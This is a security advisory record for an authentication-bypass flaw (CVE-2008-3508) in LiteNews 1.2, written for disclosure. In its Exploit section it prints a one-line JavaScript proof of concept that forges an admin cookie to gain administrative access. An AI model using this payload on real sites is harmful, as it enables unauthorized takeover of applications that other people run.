LiteNews Administrator Cookie Authentication Bypass Vulnerability

BID:30555

Info

LiteNews Administrator Cookie Authentication Bypass Vulnerability

Bugtraq ID: 30555
Class: Design Error
CVE: CVE-2008-3508
Remote: Yes
Local: No
Published: Aug 05 2008 12:00AM
Updated: May 07 2015 05:25PM
Credit: Scary-Boys
Vulnerable: Wogan May LiteNews 1.2
Not Vulnerable:

Discussion

LiteNews Administrator Cookie Authentication Bypass Vulnerability

LiteNews is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application.

Exploit / POC

LiteNews Administrator Cookie Authentication Bypass Vulnerability

Attackers can exploit this issue via a browser.

The following example JavaScript code is available:

javascript:document.cookie = "admin=1; path=/";

Solution / Fix

LiteNews Administrator Cookie Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

LiteNews Administrator Cookie Authentication Bypass Vulnerability

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